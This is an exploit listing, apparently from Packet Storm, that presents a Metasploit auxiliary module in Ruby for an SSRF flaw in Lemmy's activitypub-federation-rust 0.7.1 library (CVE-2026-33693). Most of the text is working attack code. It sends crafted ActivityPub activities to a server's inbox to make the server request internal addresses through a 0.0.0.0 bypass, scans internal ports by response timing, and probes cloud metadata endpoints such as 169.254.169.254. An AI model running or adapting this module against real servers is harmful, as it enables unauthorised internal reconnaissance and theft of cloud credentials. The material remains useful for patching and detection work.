Share
## https://sploitus.com/exploit?id=PACKETSTORM:219062
==================================================================================================================================
    | # Title     : Activitypub-federation-rust 0.7.1 Lemmy ActivityPub SSRF Scanner                                                 |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://github.com/LemmyNet/activitypub-federation-rust/releases                                                 |
    ==================================================================================================================================
    
    [+] Summary    : This Metasploit auxiliary module targets a Server-Side Request Forgery (SSRF) vulnerability in Lemmy / ActivityPub implementations using the activitypub-federation-rust 0.7.1 library. 
                     The issue allows crafted ActivityPub messages to trigger server-side requests to internal or restricted network resources.
    
    
    [+] POC        :  
    
    require 'json'
    require 'time'
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::Remote::HttpClient
      include Msf::Auxiliary::Scanner
      include Msf::Auxiliary::Report
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Lemmy ActivityPub SSRF (CVE-2026-33693)',
            'Description' => %q{
              Exploits SSRF via ActivityPub using 0.0.0.0 bypass.
    
              Designed for CTF and controlled environments.
            },
            'Author' => ['indoushka'],
            'References' => [
              ['CVE', '2026-33693']
            ],
            'DisclosureDate' => '2026-03-23',
            'License' => MSF_LICENSE
          )
        )
    
        register_options([
          OptString.new('TARGET_URI', [true, 'Base path', '/']),
          OptString.new('INTERNAL_HOST', [true, 'Internal host', '0.0.0.0']),
          OptString.new('INTERNAL_PORT', [false, 'Internal port']),
          OptString.new('INTERNAL_PATH', [false, 'Internal path']),
          OptEnum.new('ATTACK_TYPE', [true, 'Attack type',
            'SINGLE', ['SINGLE','PORT_SCAN','METADATA']]),
          OptString.new('PORTS', [false, 'Ports list', '80,443,8080']),
          OptInt.new('SCAN_DELAY', [false, 'Delay', 1]),
          OptBool.new('VERBOSE', [false, 'Verbose', false])
        ])
      end
    
      def run
        print_status("Starting SSRF module")
    
        case datastore['ATTACK_TYPE']
        when 'SINGLE'
          single_ssrf_attack
        when 'PORT_SCAN'
          port_scan_attack
        when 'METADATA'
          metadata_attack
        end
      end
    
      def target_url
        proto = datastore['SSL'] ? 'https' : 'http'
        host = datastore['RHOSTS']
        "#{proto}://#{host}:#{datastore['RPORT']}"
      end
    
      def create_payload(url)
        {
          '@context' => 'https://www.w3.org/ns/activitystreams',
          'type' => 'Create',
          'id' => "#{target_url}/test-#{rand(9999)}",
          'actor' => 'https://attacker.com/actor',
          'to' => ['https://www.w3.org/ns/activitystreams#Public'],
          'object' => {
            'type' => 'Note',
            'attachment' => [
              {
                'type' => 'Link',
                'href' => "http://#{url}"
              }
            ]
          }
        }
      end
    
      def send_ssrf(url)
        begin
          res = send_request_cgi(
            'method' => 'POST',
            'uri' => normalize_uri(datastore['TARGET_URI'], 'inbox'),
            'ctype' => 'application/activity+json',
            'data' => create_payload(url).to_json
          )
    
          return res
        rescue => e
          vprint_error("Error: #{e}")
          return nil
        end
      end
    
      def single_ssrf_attack
        host = datastore['INTERNAL_HOST']
        port = datastore['INTERNAL_PORT']
        path = datastore['INTERNAL_PATH']
    
        url = host
        url += ":#{port}" if port
        url += "/#{path}" if path
    
        print_status("Targeting #{url}")
    
        res = send_ssrf(url)
    
        if res
          print_good("Response: #{res.code}")
          print_line(res.body[0..200]) if res.body
        else
          print_error("No response")
        end
      end
    
      def port_scan_attack
        ports = datastore['PORTS'].split(',').map(&:to_i)
        host = datastore['INTERNAL_HOST']
    
        open_ports = []
    
        ports.each do |p|
          url = "#{host}:#{p}"
          start = Time.now
    
          res = send_ssrf(url)
          elapsed = Time.now - start
    
          if res && res.code != 404 && elapsed > 0.2
            print_good("Port #{p} OPEN (#{res.code})")
            open_ports << p
          else
            vprint_status("Port #{p} closed")
          end
    
          sleep datastore['SCAN_DELAY']
        end
    
        print_good("Open ports: #{open_ports.join(', ')}") unless open_ports.empty?
      end
    
      def metadata_attack
        targets = [
          "0.0.0.0/latest/meta-data/",
          "0.0.0.0/computeMetadata/v1/",
          "0.0.0.0/169.254.169.254/latest/"
        ]
    
        targets.each do |t|
          print_status("Trying #{t}")
    
          res = send_ssrf(t)
    
          if res && res.code == 200 && res.body
            print_good("Metadata FOUND")
            print_line(res.body[0..200])
          else
            vprint_status("No data")
          end
    
          sleep 1
        end
      end
    
      def vprint_status(msg)
        print_status(msg) if datastore['VERBOSE']
      end
    
      def vprint_error(msg)
        print_error(msg) if datastore['VERBOSE']
      end
    end
    
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================